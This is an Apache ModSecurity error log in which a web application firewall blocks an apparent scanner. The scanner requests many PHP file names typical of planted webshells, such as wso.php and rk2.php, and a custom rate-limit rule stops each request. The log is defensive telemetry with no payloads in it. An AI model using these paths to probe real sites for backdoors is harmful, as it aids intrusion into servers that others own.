[Fri Dec 26 00:51:17.409959 2025] [:error] [pid 24862:tid 24881] [client 4.193.224.251:8949] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aU1rhbt-eeEEuo-2JKginwAAAA8"]
[Fri Dec 26 00:51:17.615105 2025] [:error] [pid 24862:tid 24868] [client 4.193.224.251:8510] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aU1rhbt-eeEEuo-2JKgioAAAAAI"]
[Fri Dec 26 00:51:17.790558 2025] [:error] [pid 24862:tid 24872] [client 4.193.224.251:8941] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aU1rhbt-eeEEuo-2JKgioQAAAAY"]
[Fri Dec 26 00:51:17.970438 2025] [:error] [pid 24862:tid 24888] [client 4.193.224.251:8625] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aU1rhbt-eeEEuo-2JKgipAAAABY"]
[Fri Dec 26 00:51:18.182637 2025] [:error] [pid 24946:tid 24953] [client 4.193.224.251:8599] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aU1rhlfyLYxv3Jn9S70xRAAAAEU"]
[Fri Dec 26 00:51:18.361613 2025] [:error] [pid 24946:tid 24952] [client 4.193.224.251:8605] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aU1rhlfyLYxv3Jn9S70xRgAAAEQ"]
[Fri Dec 26 00:51:18.551699 2025] [:error] [pid 24946:tid 24962] [client 4.193.224.251:8732] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aU1rhlfyLYxv3Jn9S70xSAAAAE4"]
[Fri Dec 26 00:51:18.793895 2025] [:error] [pid 24946:tid 24966] [client 4.193.224.251:8494] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aU1rhlfyLYxv3Jn9S70xSgAAAFI"]
[Fri Dec 26 00:51:19.026907 2025] [:error] [pid 24946:tid 24961] [client 4.193.224.251:8478] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aU1rh1fyLYxv3Jn9S70xTQAAAE0"]
[Fri Dec 26 00:51:19.294323 2025] [:error] [pid 24946:tid 24949] [client 4.193.224.251:8956] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aU1rh1fyLYxv3Jn9S70xTgAAAEE"]
[Fri Dec 26 00:51:19.476462 2025] [:error] [pid 24946:tid 24965] [client 4.193.224.251:8613] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aU1rh1fyLYxv3Jn9S70xUAAAAFE"]
[Fri Dec 26 00:51:19.654884 2025] [:error] [pid 24946:tid 24967] [client 4.193.224.251:8464] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aU1rh1fyLYxv3Jn9S70xUQAAAFM"]
[Fri Dec 26 00:51:19.828491 2025] [:error] [pid 24862:tid 24876] [client 4.193.224.251:8958] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aU1rh7t-eeEEuo-2JKgiqAAAAAo"]
[Fri Dec 26 00:51:20.011126 2025] [:error] [pid 24946:tid 24959] [client 4.193.224.251:8225] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aU1riFfyLYxv3Jn9S70xUgAAAEs"]
[Fri Dec 26 00:51:20.195623 2025] [:error] [pid 24862:tid 24883] [client 4.193.224.251:9065] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aU1riLt-eeEEuo-2JKgiqQAAABE"]
[Fri Dec 26 00:51:20.385099 2025] [:error] [pid 24946:tid 24960] [client 4.193.224.251:8453] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aU1riFfyLYxv3Jn9S70xVAAAAEw"]
[Fri Dec 26 00:51:20.575295 2025] [:error] [pid 24946:tid 24957] [client 4.193.224.251:8589] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aU1riFfyLYxv3Jn9S70xVgAAAEk"]
[Fri Dec 26 00:51:20.751085 2025] [:error] [pid 24864:tid 24943] [client 4.193.224.251:8498] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aU1riMu59XOK5DpQQdCHowAAAVc"]
[Fri Dec 26 00:51:20.924691 2025] [:error] [pid 24863:tid 24907] [client 4.193.224.251:8948] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aU1riB8SaH2KMpp43vfexwAAAM4"]
[Fri Dec 26 00:51:21.104758 2025] [:error] [pid 24864:tid 24926] [client 4.193.224.251:8241] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aU1ricu59XOK5DpQQdCHpQAAAUY"]
[Fri Dec 26 00:51:21.285108 2025] [:error] [pid 24863:tid 24916] [client 4.193.224.251:8938] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aU1riR8SaH2KMpp43vfeyAAAANc"]
[Fri Dec 26 00:51:21.502847 2025] [:error] [pid 24946:tid 24958] [client 4.193.224.251:8490] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aU1riVfyLYxv3Jn9S70xWQAAAEo"]
[Fri Dec 26 00:51:21.723540 2025] [:error] [pid 24862:tid 24886] [client 4.193.224.251:8486] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aU1ribt-eeEEuo-2JKgirQAAABQ"]
[Fri Dec 26 00:51:21.907526 2025] [:error] [pid 24864:tid 24927] [client 4.193.224.251:8927] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aU1ricu59XOK5DpQQdCHpgAAAUc"]
[Fri Dec 26 00:51:22.102252 2025] [:error] [pid 24946:tid 24963] [client 4.193.224.251:8482] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aU1rilfyLYxv3Jn9S70xWwAAAE8"]
[Fri Dec 26 00:51:22.277256 2025] [:error] [pid 24946:tid 24962] [client 4.193.224.251:8588] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aU1rilfyLYxv3Jn9S70xXwAAAE4"]
[Fri Dec 26 00:51:22.457274 2025] [:error] [pid 24864:tid 24925] [client 4.193.224.251:9028] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aU1risu59XOK5DpQQdCHpwAAAUU"]
[Fri Dec 26 00:51:22.633672 2025] [:error] [pid 24864:tid 24931] [client 4.193.224.251:8610] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aU1risu59XOK5DpQQdCHqAAAAUs"]
[Fri Dec 26 00:51:22.853683 2025] [:error] [pid 24864:tid 24937] [client 4.193.224.251:9172] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aU1risu59XOK5DpQQdCHqgAAAVE"]
[Fri Dec 26 00:51:23.054322 2025] [:error] [pid 24864:tid 24942] [client 4.193.224.251:8203] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aU1ri8u59XOK5DpQQdCHqwAAAVY"]
[Fri Dec 26 00:51:23.275875 2025] [:error] [pid 24862:tid 24872] [client 4.193.224.251:8607] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aU1ri7t-eeEEuo-2JKgitAAAAAY"]
[Fri Dec 26 00:51:23.459315 2025] [:error] [pid 24863:tid 24896] [client 4.193.224.251:8746] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aU1rix8SaH2KMpp43vfe0gAAAMM"]
[Fri Dec 26 00:51:23.643697 2025] [:error] [pid 24864:tid 24941] [client 4.193.224.251:8955] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aU1ri8u59XOK5DpQQdCHrQAAAVU"]
[Fri Dec 26 00:51:23.829031 2025] [:error] [pid 24864:tid 24929] [client 4.193.224.251:8250] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aU1ri8u59XOK5DpQQdCHrwAAAUk"]
[Fri Dec 26 00:51:24.004379 2025] [:error] [pid 24864:tid 24938] [client 4.193.224.251:8206] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aU1rjMu59XOK5DpQQdCHsAAAAVI"]
[Fri Dec 26 00:51:24.204620 2025] [:error] [pid 24863:tid 24917] [client 4.193.224.251:8579] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aU1rjB8SaH2KMpp43vfe1wAAANg"]
[Fri Dec 26 00:51:24.390730 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:8586] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aU1rjMu59XOK5DpQQdCHsgAAAVM"]
[Fri Dec 26 00:51:24.593218 2025] [:error] [pid 24862:tid 24871] [client 4.193.224.251:8951] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aU1rjLt-eeEEuo-2JKgitgAAAAU"]
[Fri Dec 26 00:51:24.802725 2025] [:error] [pid 24864:tid 24932] [client 4.193.224.251:8930] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aU1rjMu59XOK5DpQQdCHtQAAAUw"]
[Fri Dec 26 00:51:24.987777 2025] [:error] [pid 24864:tid 24928] [client 4.193.224.251:8928] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aU1rjMu59XOK5DpQQdCHtgAAAUg"]
[Fri Dec 26 00:51:25.241950 2025] [:error] [pid 24864:tid 24923] [client 4.193.224.251:8239] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aU1rjcu59XOK5DpQQdCHuAAAAUM"]
[Fri Dec 26 00:51:25.435802 2025] [:error] [pid 24864:tid 24926] [client 4.193.224.251:8596] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aU1rjcu59XOK5DpQQdCHuwAAAUY"]
[Fri Dec 26 00:51:25.629426 2025] [:error] [pid 24946:tid 24971] [client 4.193.224.251:8945] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aU1rjVfyLYxv3Jn9S70xbAAAAFc"]
[Fri Dec 26 00:51:25.944719 2025] [:error] [pid 24946:tid 24969] [client 4.193.224.251:8585] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aU1rjVfyLYxv3Jn9S70xbgAAAFU"]
[Fri Dec 26 00:51:26.133696 2025] [:error] [pid 24946:tid 24953] [client 4.193.224.251:8204] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aU1rjlfyLYxv3Jn9S70xcAAAAEU"]
[Fri Dec 26 00:51:26.324373 2025] [:error] [pid 24864:tid 24930] [client 4.193.224.251:8627] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aU1rjsu59XOK5DpQQdCHvwAAAUo"]
[Fri Dec 26 00:51:26.500506 2025] [:error] [pid 24862:tid 24883] [client 4.193.224.251:8577] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aU1rjrt-eeEEuo-2JKgiuwAAABE"]
[Fri Dec 26 00:51:26.676121 2025] [:error] [pid 24864:tid 24941] [client 4.193.224.251:8611] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aU1rjsu59XOK5DpQQdCHwwAAAVU"]
[Fri Dec 26 00:51:26.856034 2025] [:error] [pid 24864:tid 24938] [client 4.193.224.251:8920] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aU1rjsu59XOK5DpQQdCHxAAAAVI"]
[Fri Dec 26 00:51:27.049239 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:8604] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aU1rj8u59XOK5DpQQdCHxgAAAVM"]
[Fri Dec 26 00:51:27.261339 2025] [:error] [pid 24946:tid 24949] [client 4.193.224.251:8502] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aU1rj1fyLYxv3Jn9S70xdAAAAEE"]
[Fri Dec 26 00:51:27.484895 2025] [:error] [pid 24864:tid 24932] [client 4.193.224.251:8680] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aU1rj8u59XOK5DpQQdCHyQAAAUw"]
[Fri Dec 26 00:51:27.661492 2025] [:error] [pid 24946:tid 24959] [client 4.193.224.251:8600] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aU1rj1fyLYxv3Jn9S70xdgAAAEs"]
[Fri Dec 26 00:51:27.958943 2025] [:error] [pid 24863:tid 24913] [client 4.193.224.251:8606] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aU1rjx8SaH2KMpp43vfe3QAAANQ"]
[Fri Dec 26 00:51:28.142696 2025] [:error] [pid 24864:tid 24926] [client 4.193.224.251:8207] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aU1rkMu59XOK5DpQQdCHzQAAAUY"]
[Fri Dec 26 00:51:28.343124 2025] [:error] [pid 24864:tid 24927] [client 4.193.224.251:8620] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aU1rkMu59XOK5DpQQdCH0AAAAUc"]
[Fri Dec 26 00:51:28.582185 2025] [:error] [pid 24864:tid 24931] [client 4.193.224.251:8219] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aU1rkMu59XOK5DpQQdCH0QAAAUs"]
